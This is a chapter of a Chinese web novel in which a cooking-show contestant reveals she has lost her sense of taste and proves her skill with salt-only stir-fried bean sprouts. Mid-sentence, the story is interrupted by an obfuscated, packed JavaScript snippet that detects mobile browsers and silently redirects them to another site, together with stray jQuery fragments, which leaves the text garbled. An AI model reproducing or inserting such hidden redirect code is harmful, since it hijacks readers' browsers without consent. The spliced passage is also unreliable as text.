41. 第 41 章
作品:《食神最近有点烦》 “请各位选手出示最终答案。”
唐心侧头看了一眼白崧手中的白板,上面赫然写着“山葵”二字。
和她的答案一模一样。
而其他选手的白板上则写着“芥末”。
“第四轮比赛仅有两名选手精准地辨别出了这微妙而刺激的山葵之味。”
主厨点点头,赞许的目光投向场上两名唯一答对的选手。
“恭喜你们,白崧,还有唐心!”
白崧矜持地微微颔首,嘴角是克制不住的笑意。他下意识地看了一眼隔着一个操作台的唐心——她依然是那幅沉静的样子,即使是难得的胜利、主厨的夸奖只是一杯无味的白开水。白崧心内陡然升起的喜悦像被针扎了一下,稍稍泄了气,内心暗忖,喜悲不形于色,真是深不可测。
短暂的休息后,现场的气氛再度紧绷,第五轮比赛即将开始。
如同前四轮比赛,唐心带上眼罩,再度陷入黑暗之中。
指尖下的料理台,冰凉的触感仿佛整场喧嚣中唯一实在的东西。第四轮山葵残存的余味还未完全散去,观众的私语与主厨低声询问的声音混在一处,嗡嗡作响,仿佛隔着一层毛玻璃。
面前,一个新的小碗被轻轻放下,发出微不可闻的瓷器碰撞声。
当食材送至唇边时,世界安静了一瞬。
所有的杂音被抽离,只剩下心脏在胸腔里沉重搏动的声音。
唐心感到一种致命的危机。
她俯身靠近,没有气味。它是沉默的,没有香料的张扬,也没有水果的芬芳。
只能用舌头去确认了,这本该是最直接、最无需思考的一步,却也是她最不愿意走到的一步。
舌尖碰上去……
空白。
令人心悸的空白。
像触碰到一片虚无的雪原,没有湿度,没有温度,没有任何一点信号传回大脑。
旁边传来祝荪的咳嗽声以及易米大呼小叫的声音:“节目组认真的吗?你们一定是只想看我们出丑吧?”
楚葵笑着安慰他:“往好处想,也许是节目组怕挂零蛋,特意送分来了。”
听起来他们都已经猜出了答案。
唐心有些焦躁。
再试一次,这一次多一点。
唐心又舀了一大勺,让它在整个舌面停留,等待着一丝微弱的线索被激活。
依旧是一片空白。
味蕾像完全熄灭的炭火,沉寂在寒冷的冬夜中。
“时间到。请各位选手出示答案。”
主厨的声音响了起来,这一刻最终还是来到了。聚光灯打在脸上,带着灼热的温度。
“第五轮,考验的是烹饪者对味道最本源的认知。它平平无奇,却又是一切美味的基石。它就是……”
主厨微笑着转过身来,原本轻松愉悦的声音,在触及唐心手中空白的题板时,戛然而止。
摄像机定格在主厨凝重的脸上,更为赛场增添了几分紧张。
评委席上,一向乐于旁观的严绥评委也捕捉到了这个细节,他从评审台上走下来,接过主厨手中的话筒,声音中满是不容置疑的质疑:“唐心选手,你能告诉我们,为什么你的题板上是空白一片?为什么你连‘盐’这样基础的味道都尝不出来?”
他的话如同投入平静湖面的石子,瞬间激起了涟漪。观众交头接耳地议论着,其他选手也投来了或好奇或探究的目光,所有人都看好的夺冠热门种子选手唐心,居然尝不出盐的味道?
主厨骤然回神,他定定地看着唐心:“是不是上一轮的山葵对于味觉的刺激过大,导致你一时尝不出盐的味道?”
他的声音中带着一丝期盼,仿佛只要她点一点头,他就能为她摆平所有的非议,即使如此明显的事实摆在眼前,他也视而不见。
聚光灯更加炽热地打在身上,唐心沉默着站在原地,那沉默的几秒钟,安静地仿佛一根针掉在地上都可以听见。
主厨的心莫名地悬了起来,他有一种不祥的预感。
终于,唐心抬起眼,目光平静地掠过表情各异的人群,最后定格在身前的无数摄像机镜头上。她的声音透过麦克风,清晰地传遍整个录制棚。
“因为,”她顿了顿,似乎是在组织语言,也像是在下一个巨大的决心,“我尝不出味道。”
……
死寂。
落针可闻的死寂。
随即,现场如同炸开的油锅,惊呼声、质疑声、交头接耳的议论声轰然响起,几乎要掀翻屋顶。
导演在后台激动地指挥着摄像机推进,捕捉每一个震惊的表情。
“失去味觉?那她怎么能做得出菜来?”
“她还经常拿第一,节目组有黑幕吧!”
“前几轮她都是怎么答对的?蒙的吗?”
“荒谬!这完全是对美食的亵渎!”
严绥一向是个随和的小老头,只是在和美食有关的事情上格外较真。他猛地上前几步,脸上是毫不掩饰的愤怒和难以置信:“唐心,失去味觉,意味着你根本无法正常品尝和调味,如何能站在这个追求极致味觉的舞台上?请你解释清楚,之前的比赛,你又是如何过关的?我绝不允许任何影响比赛公正性的因素存在于这个舞台之上!”
面对严绥汹涌而来的质疑,以及观众滔滔不绝的议论,唐心挺直了背脊。她深吸一口气,声音依旧沉静,却带着一种不容置疑的力量。
“味觉失灵,不代表我失去了对食物的理解和掌控。嗅觉、触觉、视觉以及过往的经验,都是我烹饪的依仗。”她环顾四周,目光变得锐利:“评判一道菜的好坏,最终在于它是否能打动食客。我或许无法像在座各位一样,凭借灵敏的味觉识别菜品的咸淡,但我有自己的方法,去构建、平衡味道。我站在这里,并非侥幸。”
“狡辩。”
观众席上传来低低的嗤笑声,细细看去,一时找不到说话的人是谁,但每张脸上都写满了相同的质疑。
导演也意识到了事情的严重性,一旦处理得不好,他苦心孤诣打造的《美味修罗场》公正性将受到大众的质疑。
他从节目戏剧性的冲突中抽身出来,招来几名工作人员,低语了几句。
收到导演示意的严绥点点头,对着唐心提出了一个近乎刁难的提议;“空口无凭。既然你声称失去味觉依然能烹饪出佳肴,那么就证明给所有人看。”
唐心抬头,沉静的双眸直视他:“如何证明?”
严绥指向操作台:“就在这里,在众目睽睽之下,在十分钟之内做出一道菜,但只用盐来调味。我们将同
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16700931|183884||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
步开启‘共感’功能,所有的观众都可以同步品尝这道菜,并通过投票功能决定唐心是否可以继续留在节目中。”
全场的目光再次聚焦在唐心身上。
这是绝境,也是唯一的生路。
用她唯一无法辨别的盐,也是美味之源的盐,在极短的时间内,做出一道打动在场所有观众的菜。
这几乎是一个不可能完成的任务。
主厨看着她,手心微微出汗。他无法想象,失去味觉该如何做菜。
唐心沉默片刻,选择接受挑战。
她缓缓走向食材区,没有挑选任何名贵而复杂的食材,而是径直拿起了一篮最不起眼的豆芽菜。
“清炒豆芽菜?这么普通的菜能做出什么花样来?”
易米说出了所有观众的心声。
但此时,所有人都无暇顾及他的话,而是聚精会神地盯着唐心做菜的过程,试图寻找到她作弊的破绽。
可她此刻脸上毫无慌乱,手下的动作如同行云流水般流畅——
豆芽掐头去尾,只留中间最脆嫩的部分;
清水冲洗干净后,放入竹筐用力而均匀地甩动,迫使每根豆芽都在离心力的作用下挣脱多余的水珠。“水多则煮,水少则焦”,这是她多年烹饪总结出来的经验。
灶火“轰”地一声燃起,蓝色的火焰贪婪地舔着锅底。但唐心并不着急,直到锅面升起一丝若有若无的青烟,才将一勺清油沿壁滑下。下一刻,那篮沥得干爽的豆芽倾泻而入——只听得刺啦一声激烈而短促的爆响,豆芽与热油相遇。
她的右手紧紧握住锅柄,腕力爆发,小臂一抖,整锅的豆芽便在空中划出一道银白的抛物线,完美地翻身落下。这精湛的颠锅技艺,只为让每一根豆芽都在瞬间被热浪包裹,却又能在最大程度上保留自身的汁水。
她的动作行云流水,没有一秒迟疑。
就在豆芽从玉白色转向半透明,刚刚开始发软,却仍旧倔强挺立的临界点,她左手手指一撮,一捻,细盐如雪花般从天散落。再一次颠锅,盐粒在热气中融化、包裹、渗透。
整个过程,不过二三十秒。
随即,她手腕一沉,锅沿对准洁白的盘边,一道清炒豆芽便滑落盘中,堆叠成一座微颤的、亮晶晶的小山。没有多余的汁水,每一根豆芽都独立而清爽,周身裹着一层极淡的油光,像春雨洗过的清晨,散发着最纯粹的美味气息。
她抬手关火,将眼前这盘简单至极的清炒豆芽推送至严绥面前。
他沉吟片刻,并未立即点评,而是举箸夹了一筷子——
入口就是“咔嚓“一声的清脆,是齿间毫无阻碍的敞快。随即,豆芽自身清冽的、带着一丝土腥气的汁水被释放了出来,但随即就被恰到好处的盐吸引了注意力——它并不抢夺味道,只是轻轻一推,便将那点微乎其微的土腥转化为了大地的甘甜,无限放大了豆芽本身的鲜味。
并不是说唐心将豆芽做出了大家都没吃过的味道,相反,她将豆芽的本味做到了极致。这是一种纯粹的、毫不掩饰的脆与甜。它不讨好任何人的味蕾,只是坦诚地告诉众人:这就是豆芽原本的味道。
主厨言喻在尝到这道菜的时候,便有了十分的把握,但严绥却始终不语。
他忍不住催问道:“如何?”

